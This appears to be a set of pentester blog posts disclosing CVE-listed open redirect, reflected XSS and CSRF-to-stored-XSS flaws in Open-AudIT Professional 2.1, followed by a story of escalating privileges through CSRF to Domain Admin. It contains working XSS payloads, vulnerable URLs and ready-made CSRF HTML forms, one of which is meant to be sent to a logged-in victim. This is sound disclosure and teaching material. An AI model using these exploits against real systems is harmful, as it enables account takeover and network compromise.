Open Redirect to Reflected XSS - Open-AuditIT Professional 2.1

Add Comment
Hi All,

Recently in one of my pentest research, I found a Open-AuditIT Professional 2.1.

Open-AudIT is a network auditing application. It is based on the scripting languages of PHP, Bash and VBScript. Open-AudIT can tell what is on your network, how it is configured and if there have been any changes

Curious to explore its functionalities, I downloaded and set it up in my local system.

After installing first thing I noticed was `redirect_url=`

For me its cup of tea to get open URL Redirect.

  • Title of the Vulnerability:  Open URL Redirect and Reflected Cross-site Scripting (XSS) 
  • Vulnerability Class: Security Misconfiguration and Cross-site Scripting (XSS)
  • Technical Details & Description: The application source code is coded in a way which allows arbitrary web application to accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials.
  • CVE ID allocated:   
  1. Open Redirect :-  CVE-2018-8937
  2. Reflected XSS :- CVE-2018-8978
  • Product & Service Introduction: Open-AuditIT Professional 2.1

POC :- 



Vulnerable URL :- 
http://localhost/omk/open-audit/login?redirect_url=http://www.nileshsapariya.blogspot.com




Lets move ahead one more step

Now in most of the case when you find the Open URL Redirection then chances to have XSS is almost 99%

1st Try for Reflected XSS 

1]
<script>alert('BOOM')</script>
Base 64 Encode
PHNjcmlwdD5hbGVydCgnQk9PTScpPC9zY3JpcHQ+

2]
data:text/html;base64,PHNjcmlwdD5hbGVydCgnQk9PTScpPC9zY3JpcHQ+

3]
URL Encode

%64%61%74%61%3a%74%65%78%74%2f%68%74%6d%6c%3b%62%61%73%65%36%34%2c%50%48%4e%6a%63%6d%6c%77%64%44%35%68%62%47%56%79%64%43%67%6e%51%6b%39%50%54%53%63%70%50%43%39%7a%59%33%4a%70%63%48%51%2b






But hey this is not XSS

2nd Try for Reflected XSS 

XSS via a crafted src attribute of an IMG element within a URI.


Vulnerable URL :-
http://localhost/omk/open-audit/y3ipe%3cimg%20src%3da%20onerror%3dalert('hacked')%3ek87ss

Video POC for Reflected XSS




How this worked :-














CSRF to XSS - Open-AuditIT Professional 2.1

Add Comment
Hi All,

Recently in one of my pentest research, I found a Open-AuditIT Professional 2.1.

Open-AudIT is a network auditing application. It is based on the scripting languages of PHP, Bash and VBScript. Open-AudIT can tell what is on your network, how it is configured and if there have been any changes

Curious to explore its functionalities, I downloaded and set it up in my local system.

After fiddling with the source code, I found that it did not have any kind of CSRF protection neither Cross site scripting(XSS) Protection and allowed the user to insert any malicious inputs. So I thought to chain this both vulnerability together. i.e. CSRF to XSS.

  • Title of the Vulnerability:  CSRF to XSS
  • Vulnerability Class: XSS and CSRF 
  • Technical Details & Description: The application source code is coded in a way which allows arbitrary file extensions to be uploaded. This leads to uploading of remote shells/ malicious Trojans which can lead to complete system compromise and server takeover.
  • CVE ID allocated:  
  1. CVE-2018-8903 - Stored XSS 
  2. CVE-2018-8979 - Cross-Site Request Forgery (CSRF) 
  • Product & Service Introduction: Open-AuditIT Professional 2.1

Observation:- [ CSRF to XSS]

When you login into Open-AuditIT Professional 2.1 and Create Credentials [Go to Home ==> Credentials ] you will notice that there is no protection against CSRF.



Digging more deep in source code, I also noticed that they do not have any protection against XSS for Name and Description parameter.




So Next Step was chaining this both bug together .


Step 1 :- Craft a HTML Page with XSS payload in it. 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/omk/open-audit/credentials" method="POST">
      <input type="hidden" name="data&#91;attributes&#93;&#91;name&#93;" value="<img src=x onerror=alert('hacked');>" />
      <input type="hidden" name="data&#91;attributes&#93;&#91;org&#95;id&#93;" value="1" />
      <input type="hidden" name="data&#91;attributes&#93;&#91;description&#93;" value="CSRF" />
      <input type="hidden" name="data&#91;attributes&#93;&#91;type&#93;" value="ssh" />
      <input type="hidden" name="data&#91;attributes&#93;&#91;credentials&#93;&#91;username&#93;" value="test" />
      <input type="hidden" name="data&#91;attributes&#93;&#91;credentials&#93;&#91;password&#93;" value="test" />
      <input type="hidden" name="data&#91;type&#93;" value="credentials" />
      <input type="hidden" name="submit" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


Step 2:- Save this .html file and send it to victim (Victim  should be loggedin in the browser)

Under Credentials New Entry will be added with your XSS payload. 



When any user will visit this page XSS will be triggered :-
http://localhost/omk/open-audit/credentials

Video POC  for CSRF to XSS :-  





Conclusion :- 

The main aim of this article is to show that POST based XSS should not be ignored as hard to exploit, but I also hope that it helps to give you ideas of how combining attacks can make them much more potent. 

Compromising Domain Admin via Web Application

Add Comment



TL;DR :  You can be a domain admin if you are doing internal pentesting of web application. Give that application has feature to connect internal network.

There are always new challenges when you get an opportunity to prove yourself (NEW JOB :P).
Just like that for me, only thing to prove myself is to take the "Domain Admin" .

In Pentesting world if you are gaining "Domain Admin" rights that means you own the universe. Only Pentersters can feel this :P

For others below is the reason for this feeling :-
  • Domain Admins is the AD group that most people think of when discussing Active Directory administration. This group has full admin rights by default on all domain-joined servers and workstations, Domain Controllers, and Active Directory. 
  • A Domain Administrator is a domain account that has administrative access to all machines in the domain, clients as well as servers.
  • In short  Members of this group have full control of the domain.

My new assignment was pentesting Internal web application. And for me challenge was Web application to domain admin ?  but how ?

NOTE :- Different modes of being domain admins are :- [Considering the fact that you are doing Internal Pentesting Assessment - Network]

Attack Techniques to go from Domain User to Domain Admin:
1. Passwords in SYSVOL & Group Policy Preferences
2. Exploit the MS14-068 Kerberos Vulnerability on a Domain Controller Missing the Patch
3. Dumping NTLM hash via mimikatz

And many more .....

BUT via web application shall we become Domain Admin ?  Hence thought to share this finding with you all. 

STORY :- 

Recently we have been on Internal Web Application Pentesting with goals of finding juicy bugs.
For me target was domain admin.

This application has different roles i.e. Normal user and Admin user with WAF  welcoming in front of the door. When trying every single payload, WAF comes into the picture.

We successfully bypassed the WAF and got the alert(1) popup. (Not for this blog post)

Still my target was domain admin.

1x1 CSRF the Game Changer

I noticed that application does not have any protection in placed against CSRF.
Next what, I was able to escalate my normal user account privileged to admin user account.

<html>
  <body>
    <form action="http://test:portnumber/Something.do" method="POST">
      <input type="hidden" name="NoramUserID" value="" />
      <input type="hidden" name="group" value="12121" />
      <input type="hidden" name="category" value="" />
      <input type="hidden" name="subCategory" value="" />
      <input type="hidden" name="item" value="1346" />
      <input type="hidden" name="emailCC" value="" />
      <input type="hidden" name="urgency" value="3" />
      <input type="hidden" name="reqID" value="44444" />
      <input type="hidden" name="reqName" value="user1" />
      <input type="hidden" name="selectedCIs" value="" />
      <input type="hidden" name="siteID" value="2222" />
      <input type="hidden" name="resourcesInfo" value="" />
      <input type="hidden" name="resourceModified" value="false" />
      <input type="hidden" name="addWO" value="addWO" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

I am admin now.  XD

Lets understand the roles given to admin :-
  1. Access all the assets handled by the IT Team. 
  2. Access Virtual Hosts and VMs
  3. Access Credentials Library which has the admin account username and password which is been used to scan the different machine inside the network. 
The password was hidden and I was not able to view, neither inspect element trick worked here. 
No worries I changed the password :P 


Point 3 looks interesting. Being admin if I can scan any network devices(Desktop/Server) then shall I takes its access ?  RDP ? Answer is YES.

2x2 Recon the Checkmate 

From the list of inventory assets I randomly started poking different IP address to see its privileged.  I  found one and I was able to RDP the remote desktop machine. I used the same credentials which is being used to scan the internal machine. 

And found the Domain Admin account.  

Mission Accomplished ...XD

PS :- Wrote this blog post just to share,  you can become a domain admin via Web application assessment.

Happy Hunting.